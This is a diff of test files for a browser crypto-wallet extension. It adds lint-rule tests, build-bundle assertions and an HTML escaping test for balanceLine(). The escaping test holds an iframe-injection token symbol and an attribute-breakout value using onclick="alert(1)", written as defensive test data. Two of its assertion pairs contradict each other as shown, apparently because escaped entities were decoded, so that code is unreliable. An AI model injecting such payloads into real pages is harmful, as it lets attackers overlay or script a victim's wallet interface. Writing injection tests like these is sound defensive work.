// textual and never parses the files it follows. The two ESM cases below pass
|
||||||
|
// "module" only so espree can parse the fixture at all — in this repo those
|
||||||
|
// shapes are also a parse error under the commonjs config, but the rule must
|
||||||
|
// not be left depending on that.
|
||||||
|
function lintBackground(root, { sourceType = "commonjs" } = {}) {
|
||||||
|
const file = path.join(root, "src/background/index.js");
|
||||||
|
const linter = new Linter({ cwd: root });
|
||||||
|
return linter.verify(
|
||||||
|
fs.readFileSync(file, "utf8"),
|
||||||
|
{
|
||||||
|
plugins: { background: plugin },
|
||||||
|
languageOptions: { ecmaVersion: 2024, sourceType },
|
||||||
|
rules: { [RULE]: "error" },
|
||||||
|
},
|
||||||
|
file,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function chainOf(messages) {
|
||||||
|
expect(messages).toHaveLength(1);
|
||||||
|
expect(messages[0].ruleId).toBe(RULE);
|
||||||
|
// "...singleton: <chain>. The MV3 worker..." — the chain is what the
|
||||||
|
// message exists to hand the reader, so assert on it rather than on the
|
||||||
|
// fact that something was reported.
|
||||||
|
return messages[0].message.split("singleton: ")[1].split(". The MV3")[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
for (const root of roots) fs.rmSync(root, { recursive: true, force: true });
|
||||||
|
roots = [];
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the specifier syntaxes the matcher is known to catch", () => {
|
||||||
|
test("a quoted require", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'const { state } = require("../shared/state");\n' +
|
||||||
|
"module.exports = { state };\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a backtick require", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
"const { state } = require(`../shared/state`);\n" +
|
||||||
|
"module.exports = { state };\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a dynamic import inside an async function", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
"async function readState() {\n" +
|
||||||
|
' const m = await import("../shared/state");\n' +
|
||||||
|
" return m.state;\n" +
|
||||||
|
"}\n" +
|
||||||
|
"module.exports = { readState };\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a static import from-clause", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'import { state } from "../shared/state";\n' +
|
||||||
|
"export { state };\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// `import(/* webpackChunkName: "x" */ "./x")` is the standard bundler
|
||||||
|
// annotation idiom, and prettier leaves both of these exactly as written,
|
||||||
|
// so nothing else in the repo would object to them either.
|
||||||
|
test("a comment between the paren and the specifier", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'globalThis.__probe = require(/* probe */ "../shared/state").state;\n',
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a comment between the specifier and the closing paren", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'globalThis.__probe = require("../shared/state" /* probe */).state;\n',
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a bare side-effect import", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js": 'import "../shared/state";\n',
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("reachability, not just the direct specifier", () => {
|
||||||
|
// The shape a no-restricted-imports could never see: no background file
|
||||||
|
// names state.js, and the singleton is in the bundle anyway. In a backtick
|
||||||
|
// require, so this fails on the specifier widening as well as on the walk.
|
||||||
|
test("a two-hop re-export through a shared module", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
|
||||||
|
"module.exports = { applyChainSwitchFields };\n",
|
||||||
|
"src/shared/chainSwitchFields.js":
|
||||||
|
SHARED_HOP +
|
||||||
|
"module.exports.state = require(`./state`).state;\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/chainSwitchFields.js" +
|
||||||
|
" -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Resolution, not syntax: the specifier names a directory, and the file it
|
||||||
|
// resolves to is chosen by that directory's package.json `main`. A walk
|
||||||
|
// that only tries `<dir>/index.js` stops on a specifier it matched.
|
||||||
|
test("a directory resolved through its package.json main", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'globalThis.__probe = require("../shared/probepkg").state;\n',
|
||||||
|
"src/shared/probepkg/package.json": '{"main": "./bridge.js"}\n',
|
||||||
|
"src/shared/probepkg/bridge.js":
|
||||||
|
'const { state } = require("../state");\n' +
|
||||||
|
"module.exports = { state };\n",
|
||||||
|
});
|
||||||
|
expect(chainOf(lintBackground(root))).toBe(
|
||||||
|
"src/background/index.js -> src/shared/probepkg/bridge.js" +
|
||||||
|
" -> src/shared/state.js",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// These two are holes in the rule, and they are pinned as holes on purpose:
|
||||||
|
// the build catches both, the rule is fast feedback in front of it, and a
|
||||||
|
// written-down bound that nothing measures is how the previous three rounds of
|
||||||
|
// this change ended up with claims that were false.
|
||||||
|
describe("the divergences from the build's answer", () => {
|
||||||
|
test("a computed specifier is not reported (esbuild folds it; the build fails)", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'globalThis.__probe = require("../shared/" + "state").state;\n',
|
||||||
|
});
|
||||||
|
expect(lintBackground(root)).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a symlink to the module is not reported (esbuild reports the real path)", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'const { state } = require("../shared/stateLink");\n' +
|
||||||
|
"module.exports = { state };\n",
|
||||||
|
});
|
||||||
|
fs.symlinkSync(
|
||||||
|
path.join(root, "src/shared/state.js"),
|
||||||
|
path.join(root, "src/shared/stateLink.js"),
|
||||||
|
);
|
||||||
|
expect(lintBackground(root)).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("what the rule must not report", () => {
|
||||||
|
test("a background file that reaches only its own state layer", () => {
|
||||||
|
const root = fixture({
|
||||||
|
"src/background/index.js":
|
||||||
|
'const { getState } = require("./state");\n' +
|
||||||
|
'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
|
||||||
|
"module.exports = { getState, applyChainSwitchFields };\n",
|
||||||
|
"src/background/state.js":
|
||||||
|
"async function getState() {}\nmodule.exports = { getState };\n",
|
||||||
|
});
|
||||||
|
expect(lintBackground(root)).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The tree as it actually stands. This is the assertion that would catch a
|
||||||
|
// widened matcher that resolves something it should not: it runs the rule
|
||||||
|
// over the real background entrypoint, from the real repo root.
|
||||||
|
test("the repository's own background entrypoint", () => {
|
||||||
|
const root = path.resolve(__dirname, "..");
|
||||||
|
expect(lintBackground(root)).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
69
tests/balanceLineEscaping.test.js
Normal file
69
tests/balanceLineEscaping.test.js
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
// balanceLine() is the row that issue #307 was reported against: every
|
||||||
|
// screen that lists a holding renders through it, and the symbol it renders
|
||||||
|
// is whatever an ERC-20's symbol() returned. This asserts against the
|
||||||
|
// string it emits, which is what gets assigned to innerHTML.
|
||||||
|
//
|
||||||
|
// The browser half of the same claim — that a real Chrome renders that
|
||||||
|
// string as text and puts no iframe in the popup DOM — is in
|
||||||
|
// tests/e2e/run.js. This half runs inside the 20-second make test cap.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
// helpers.js reaches for both at module scope through the modules it pulls
|
||||||
|
// in. Neither is exercised by anything asserted here.
|
||||||
|
global.chrome = {
|
||||||
|
storage: {
|
||||||
|
local: {
|
||||||
|
get: () => Promise.resolve({}),
|
||||||
|
set: () => Promise.resolve(),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
runtime: { sendMessage: () => {} },
|
||||||
|
};
|
||||||
|
global.document = {
|
||||||
|
getElementById: () => null,
|
||||||
|
createElement: () => ({ style: {}, classList: { toggle() {} } }),
|
||||||
|
body: { prepend: () => {} },
|
||||||
|
addEventListener: () => {},
|
||||||
|
};
|
||||||
|
|
||||||
|
const { balanceLine } = require("../src/popup/views/helpers");
|
||||||
|
const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
|
||||||
|
|
||||||
|
// The payload from the issue's reproduction, verbatim.
|
||||||
|
const HOSTILE_SYMBOL =
|
||||||
|
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
|
||||||
|
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
|
||||||
|
|
||||||
|
describe("balanceLine", () => {
|
||||||
|
test("emits a hostile symbol as text, not as an element", () => {
|
||||||
|
// Deliberately asserted on the escaping alone. The cap truncates
|
||||||
|
// this payload before its id attribute, so an assertion about the
|
||||||
|
// rest of the payload would pass on the cap and say nothing about
|
||||||
|
// the escape.
|
||||||
|
const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
|
||||||
|
expect(html).not.toContain("<iframe");
|
||||||
|
expect(html).toContain("<iframe");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("caps the symbol before rendering it", () => {
|
||||||
|
const html = balanceLine("A".repeat(4096), 1, null, null);
|
||||||
|
expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
|
||||||
|
expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
|
||||||
|
});
|
||||||
|
|
||||||
|
// The token id lands inside data-token="...", so a quote in it is a
|
||||||
|
// way out of the attribute and into a new one.
|
||||||
|
test("keeps a quote-bearing token id inside its attribute", () => {
|
||||||
|
const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
|
||||||
|
expect(html).not.toContain('onclick="');
|
||||||
|
expect(html).toContain('data-token="" onclick="alert(1)"');
|
||||||
|
});
|
||||||
|
|
||||||
|
test("renders an ordinary holding unchanged", () => {
|
||||||
|
const html = balanceLine("USDC", 1.5, null, "0xabc");
|
||||||
|
expect(html).toContain("<span>USDC</span>");
|
||||||
|
expect(html).toContain("<span>1.5000</span>");
|
||||||
|
expect(html).toContain('data-token="0xabc"');
|
||||||
|
});
|
||||||
|
});
|
||||||
366
tests/buildForbiddenInputs.test.js
Normal file
366
tests/buildForbiddenInputs.test.js
Normal file
@@ -0,0 +1,366 @@
|
|||||||
|
// build.js's FORBIDDEN_INPUTS assertion — the mechanical guarantee that the
|
||||||
|
// MV3 background bundle cannot contain src/shared/state.js
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||||
|
//
|
||||||
|
// Why this file exists: `make check` does not run `make build`. CI executes
|
||||||
|
// the assertion (Dockerfile runs `make build`), but executing is not testing —
|
||||||
|
// invert its condition, or make the table lookup always come back undefined,
|
||||||
|
// and every check in this repo stays green while the singleton walks back into
|
||||||
|
// the worker. Five defects, one destroyed wallet, and the whole argument for
|
||||||
|
// the scoped loud-read guard rest on this assertion, so it is pinned here.
|
||||||
|
//
|
||||||
|
// The subject is build.js's exported helpers plus the table's own
|
||||||
|
// well-formedness check, driven against SYNTHETIC metafiles in esbuild's
|
||||||
|
// shape. Nothing here shells out to a build or writes dist/: the assertion's
|
||||||
|
// job is to read a metafile correctly, and a metafile is data. That the real
|
||||||
|
// shapes reach it is the build's own business and is measured in the PR that
|
||||||
|
// introduced it.
|
||||||
|
//
|
||||||
|
// Every vacuous pass this guarantee has been found to have is pinned below,
|
||||||
|
// because each one was a way for `make check`, `make lint` and `make build` to
|
||||||
|
// be green over a background bundle containing the singleton: a stale key, a
|
||||||
|
// stale module, an entry that lists no modules, an entry recorded as checked
|
||||||
|
// before its bundle was in hand, and a background entry point nobody added to
|
||||||
|
// the table.
|
||||||
|
//
|
||||||
|
// Paths are absolute on the way in, because the helpers normalize whatever
|
||||||
|
// esbuild gave them to repo-relative and this file should not depend on the
|
||||||
|
// working directory jest was started from.
|
||||||
|
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const {
|
||||||
|
importChain,
|
||||||
|
newForbiddenRecord,
|
||||||
|
recordBundledInputs,
|
||||||
|
assertNoForbiddenInputs,
|
||||||
|
assertForbiddenTableCovered,
|
||||||
|
} = require("../build");
|
||||||
|
const {
|
||||||
|
BACKGROUND_ENTRY_PREFIX,
|
||||||
|
FORBIDDEN_INPUTS,
|
||||||
|
assertTableWellFormed,
|
||||||
|
} = require("../script/lib/forbiddenBundleInputs");
|
||||||
|
|
||||||
|
const ROOT = path.resolve(__dirname, "..");
|
||||||
|
const abs = (p) => path.join(ROOT, p);
|
||||||
|
|
||||||
|
const ENTRY = "src/background/index.js";
|
||||||
|
const OUT = "dist/chrome/src/background/index.js";
|
||||||
|
const STATE = "src/shared/state.js";
|
||||||
|
const HOP = "src/shared/chainSwitchFields.js";
|
||||||
|
const SECOND = "src/background/worker2.js";
|
||||||
|
const SECOND_OUT = "dist/chrome/src/background/worker2.js";
|
||||||
|
const POPUP = "src/popup/index.js";
|
||||||
|
const POPUP_OUT = "dist/chrome/src/popup/index.js";
|
||||||
|
|
||||||
|
// The real table's shape: entry point -> modules its bundle may not contain.
|
||||||
|
const TABLE = { [ENTRY]: [STATE] };
|
||||||
|
|
||||||
|
// A metafile as esbuild emits one: `outputs[out].inputs` is the flat list of
|
||||||
|
// every input that contributed to that output, and `inputs[file].imports` is
|
||||||
|
// the edge list, which is what the chain walk follows.
|
||||||
|
function metafile({ outputs = {}, imports = {} } = {}) {
|
||||||
|
return {
|
||||||
|
outputs: Object.fromEntries(
|
||||||
|
Object.entries(outputs).map(([out, inputs]) => [
|
||||||
|
abs(out),
|
||||||
|
{
|
||||||
|
inputs: Object.fromEntries(
|
||||||
|
inputs.map((input) => [
|
||||||
|
abs(input),
|
||||||
|
{ bytesInOutput: 1 },
|
||||||
|
]),
|
||||||
|
),
|
||||||
|
},
|
||||||
|
]),
|
||||||
|
),
|
||||||
|
inputs: Object.fromEntries(
|
||||||
|
Object.entries(imports).map(([file, targets]) => [
|
||||||
|
abs(file),
|
||||||
|
{ imports: targets.map((target) => ({ path: abs(target) })) },
|
||||||
|
]),
|
||||||
|
),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function check(mf, table = TABLE, record = newForbiddenRecord()) {
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
assertNoForbiddenInputs(abs(ENTRY), abs(OUT), mf, record, table);
|
||||||
|
return record;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("assertNoForbiddenInputs()", () => {
|
||||||
|
test("a forbidden module in the bundle fails, naming the import chain", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [OUT]: [ENTRY, HOP, STATE] },
|
||||||
|
imports: {
|
||||||
|
[ENTRY]: [HOP],
|
||||||
|
[HOP]: [STATE],
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(() => check(mf)).toThrow(
|
||||||
|
`${OUT} bundles ${STATE}, which ${ENTRY} must not reach: ` +
|
||||||
|
`${ENTRY} -> ${HOP} -> ${STATE}.`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a bundle without the forbidden module passes, and is recorded as checked", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [OUT]: [ENTRY, HOP, "src/background/state.js"] },
|
||||||
|
imports: { [ENTRY]: [HOP, "src/background/state.js"] },
|
||||||
|
});
|
||||||
|
|
||||||
|
const record = check(mf);
|
||||||
|
expect([...record.entriesChecked]).toEqual([ENTRY]);
|
||||||
|
expect(record.bundledInputs.has(STATE)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the failure still names the bundle when no import chain can be shown", () => {
|
||||||
|
// esbuild resolves `import("../shared/" + variable)` as a glob: the
|
||||||
|
// module is an input of the output, but no single edge leads to it.
|
||||||
|
// The message must degrade to no chain rather than crash.
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [OUT]: [ENTRY, STATE] },
|
||||||
|
imports: { [ENTRY]: [] },
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(() => check(mf)).toThrow(
|
||||||
|
`${OUT} bundles ${STATE}, which ${ENTRY} must not reach.`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The lookup this covers is the fragile step in the whole assertion:
|
||||||
|
// repoRelative() resolves against process.cwd() and esbuild's output keys
|
||||||
|
// are cwd-relative, so a change to where the build runs from, or to
|
||||||
|
// outfile vs outdir, makes it miss. It must be loud, and the entry must
|
||||||
|
// NOT already be marked checked when it does — otherwise a later edit
|
||||||
|
// turning this throw into an early return leaves both halves of the
|
||||||
|
// guarantee satisfied by a bundle nothing looked at.
|
||||||
|
test("an output esbuild did not report fails, and records nothing as checked", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { "dist/chrome/src/background/renamed.js": [ENTRY] },
|
||||||
|
imports: { [ENTRY]: [] },
|
||||||
|
});
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
|
||||||
|
expect(() =>
|
||||||
|
assertNoForbiddenInputs(abs(ENTRY), abs(OUT), mf, record, TABLE),
|
||||||
|
).toThrow(`esbuild reported no metafile output for ${OUT}`);
|
||||||
|
expect([...record.entriesChecked]).toEqual([]);
|
||||||
|
|
||||||
|
// So even if that throw became `return`, the coverage half catches it.
|
||||||
|
record.bundledInputs.add(STATE);
|
||||||
|
expect(() => assertForbiddenTableCovered(record, TABLE)).toThrow(
|
||||||
|
`${ENTRY} is listed in FORBIDDEN_INPUTS but was not bundled`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// Finding from the fifth review of this change: adding a second worker entry
|
||||||
|
// point is exactly the accident this guarantee exists for, and the person
|
||||||
|
// adding one has no reason to know a table elsewhere needs a line. So the
|
||||||
|
// default for the background directory is protected, not unprotected.
|
||||||
|
describe("background entry points are protected by default", () => {
|
||||||
|
test("a bundled background entry point with no line in the table fails", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [SECOND_OUT]: [SECOND, STATE] },
|
||||||
|
imports: { [SECOND]: [STATE] },
|
||||||
|
});
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
|
||||||
|
expect(() =>
|
||||||
|
assertNoForbiddenInputs(
|
||||||
|
abs(SECOND),
|
||||||
|
abs(SECOND_OUT),
|
||||||
|
mf,
|
||||||
|
record,
|
||||||
|
TABLE,
|
||||||
|
),
|
||||||
|
).toThrow(
|
||||||
|
`${SECOND} is a background entry point with no line in ` +
|
||||||
|
`FORBIDDEN_INPUTS`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an entry point outside the background directory needs no line", () => {
|
||||||
|
// The popup legitimately bundles the singleton; that is its model.
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [POPUP_OUT]: [POPUP, STATE] },
|
||||||
|
imports: { [POPUP]: [STATE] },
|
||||||
|
});
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
|
||||||
|
expect(() =>
|
||||||
|
assertNoForbiddenInputs(
|
||||||
|
abs(POPUP),
|
||||||
|
abs(POPUP_OUT),
|
||||||
|
mf,
|
||||||
|
record,
|
||||||
|
TABLE,
|
||||||
|
),
|
||||||
|
).not.toThrow();
|
||||||
|
expect([...record.entriesChecked]).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the prefix is the one the lint rule is scoped to", () => {
|
||||||
|
expect(BACKGROUND_ENTRY_PREFIX).toBe("src/background/");
|
||||||
|
expect(SECOND.startsWith(BACKGROUND_ENTRY_PREFIX)).toBe(true);
|
||||||
|
expect(POPUP.startsWith(BACKGROUND_ENTRY_PREFIX)).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("recordBundledInputs()", () => {
|
||||||
|
// The sole data source for the module half of the anti-rot check, and
|
||||||
|
// every other case here hand-seeds what it produces. Driven for real,
|
||||||
|
// across two outputs, and then handed straight to the check that reads it.
|
||||||
|
test("records every input of every output, satisfying the module half", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: {
|
||||||
|
[OUT]: [ENTRY, HOP],
|
||||||
|
[POPUP_OUT]: [POPUP, STATE],
|
||||||
|
},
|
||||||
|
imports: { [ENTRY]: [HOP], [POPUP]: [STATE] },
|
||||||
|
});
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
|
||||||
|
expect([...record.bundledInputs].sort()).toEqual(
|
||||||
|
[ENTRY, HOP, POPUP, STATE].sort(),
|
||||||
|
);
|
||||||
|
|
||||||
|
// Nothing hand-seeded: the covered check passes on what the recorder
|
||||||
|
// actually collected, so a recorder that collects nothing fails here.
|
||||||
|
assertNoForbiddenInputs(abs(ENTRY), abs(OUT), mf, record, TABLE);
|
||||||
|
expect(() => assertForbiddenTableCovered(record, TABLE)).not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("importChain()", () => {
|
||||||
|
test("terminates on a cyclic input graph, and still finds the module", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
imports: {
|
||||||
|
[ENTRY]: [HOP],
|
||||||
|
[HOP]: ["src/shared/log.js"],
|
||||||
|
// The cycle: log <-> hop, with the target one hop past it.
|
||||||
|
"src/shared/log.js": [HOP, STATE],
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(importChain(mf, abs(ENTRY), STATE)).toEqual([
|
||||||
|
ENTRY,
|
||||||
|
HOP,
|
||||||
|
"src/shared/log.js",
|
||||||
|
STATE,
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("terminates and returns null when a cycle cannot reach the module", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
imports: {
|
||||||
|
[ENTRY]: [HOP],
|
||||||
|
[HOP]: ["src/shared/log.js"],
|
||||||
|
"src/shared/log.js": [HOP, ENTRY],
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(importChain(mf, abs(ENTRY), STATE)).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("assertForbiddenTableCovered()", () => {
|
||||||
|
test("the shipped table is satisfied by a build that checked it", () => {
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
record.entriesChecked.add(ENTRY);
|
||||||
|
// The popup bundle is what legitimately contains the singleton.
|
||||||
|
record.bundledInputs.add(STATE);
|
||||||
|
|
||||||
|
expect(() => assertForbiddenTableCovered(record, TABLE)).not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
// The build this drives bundles the popup and no background entry point,
|
||||||
|
// because a stale key AND a bundled background entry point is now the
|
||||||
|
// stronger failure above — the entry point that is there but unlisted is
|
||||||
|
// reported by name, before the end of the build. This case is the rot that
|
||||||
|
// is left after that one: a key naming something this build never bundled.
|
||||||
|
test("a key no bundled entry point matched fails", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [POPUP_OUT]: [POPUP] },
|
||||||
|
imports: { [POPUP]: [] },
|
||||||
|
});
|
||||||
|
const stale = { "src/background/renamed.js": [STATE] };
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
assertNoForbiddenInputs(abs(POPUP), abs(POPUP_OUT), mf, record, stale);
|
||||||
|
record.bundledInputs.add(STATE);
|
||||||
|
|
||||||
|
expect(() => assertForbiddenTableCovered(record, stale)).toThrow(
|
||||||
|
"src/background/renamed.js is listed in FORBIDDEN_INPUTS but was" +
|
||||||
|
" not bundled, so nothing checked it",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a forbidden module this build bundled nowhere fails", () => {
|
||||||
|
// The other half of the same rot: renaming or moving the singleton
|
||||||
|
// leaves a table that names a path nothing resolves to any more, and
|
||||||
|
// every bundle then passes it vacuously.
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [OUT]: [ENTRY] },
|
||||||
|
imports: { [ENTRY]: [] },
|
||||||
|
});
|
||||||
|
const stale = { [ENTRY]: ["src/shared/stateRenamed.js"] };
|
||||||
|
const record = check(mf, stale);
|
||||||
|
record.bundledInputs.add(STATE);
|
||||||
|
|
||||||
|
expect(() => assertForbiddenTableCovered(record, stale)).toThrow(
|
||||||
|
"src/shared/stateRenamed.js is listed in FORBIDDEN_INPUTS for" +
|
||||||
|
` ${ENTRY}, but this build bundled it nowhere`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The third rot, and the worst of the three: an entry with an empty list
|
||||||
|
// is checked, is bundled, names no module that could be missing, and
|
||||||
|
// prohibits nothing — in BOTH layers at once, since the rule's forbidden
|
||||||
|
// set is Object.values(table).flat().
|
||||||
|
test("an entry that lists no modules fails", () => {
|
||||||
|
const mf = metafile({
|
||||||
|
outputs: { [OUT]: [ENTRY, STATE] },
|
||||||
|
imports: { [ENTRY]: [STATE] },
|
||||||
|
});
|
||||||
|
const empty = { [ENTRY]: [] };
|
||||||
|
const record = newForbiddenRecord();
|
||||||
|
recordBundledInputs(mf, record);
|
||||||
|
assertNoForbiddenInputs(abs(ENTRY), abs(OUT), mf, record, empty);
|
||||||
|
|
||||||
|
expect(() => assertForbiddenTableCovered(record, empty)).toThrow(
|
||||||
|
`FORBIDDEN_INPUTS["${ENTRY}"] lists no modules`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("assertTableWellFormed()", () => {
|
||||||
|
// Runs at require time on the shipped table, in script/lib/
|
||||||
|
// forbiddenBundleInputs.js, so an empty list fails the lint run as well as
|
||||||
|
// the build — the build's own re-check cannot help a layer that never
|
||||||
|
// reaches the build.
|
||||||
|
test("the shipped table is well formed", () => {
|
||||||
|
expect(() => assertTableWellFormed(FORBIDDEN_INPUTS)).not.toThrow();
|
||||||
|
expect(Object.entries(FORBIDDEN_INPUTS).length).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an entry that lists no modules fails, naming the entry", () => {
|
||||||
|
expect(() => assertTableWellFormed({ [ENTRY]: [] })).toThrow(
|
||||||
|
`FORBIDDEN_INPUTS["${ENTRY}"] lists no modules`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a table with no entries at all fails", () => {
|
||||||
|
expect(() => assertTableWellFormed({})).toThrow(
|
||||||
|
"FORBIDDEN_INPUTS is empty",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -8,10 +8,12 @@
|
|||||||
// broadcast — because an error code alone would not distinguish a gate from
|
// broadcast — because an error code alone would not distinguish a gate from
|
||||||
// a switch that happened and then reported a failure.
|
// a switch that happened and then reported a failure.
|
||||||
//
|
//
|
||||||
// The endpoint half of that issue lives in tests/networkEndpoints.test.js;
|
// The endpoint half of that issue lives in tests/networkEndpoints.test.js,
|
||||||
// this file mocks the state module, which that one exercises for real.
|
// which covers the popup's chain switch; this file covers the background's,
|
||||||
|
// which goes through storage rather than the shared state singleton.
|
||||||
|
|
||||||
const { networkById } = require("../src/shared/networks");
|
const { networkById } = require("../src/shared/networks");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
@@ -51,29 +53,11 @@ afterEach(() => {
|
|||||||
// ---------------------------------------------------------------------------
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
// Load the background worker against stubbed browser APIs, with the real
|
// Load the background worker against stubbed browser APIs, with the real
|
||||||
// chain-switch module behind it, and return the handles to drive it. The
|
// chain-switch and persistence modules behind it, and return the handles to
|
||||||
// wallet state is a plain object so that a switch that DID happen is visible
|
// drive it.
|
||||||
// as a mutation of it, and one that did not is visible as its absence.
|
|
||||||
function loadBackground() {
|
function loadBackground() {
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
|
|
||||||
const walletState = {
|
|
||||||
networkId: "mainnet",
|
|
||||||
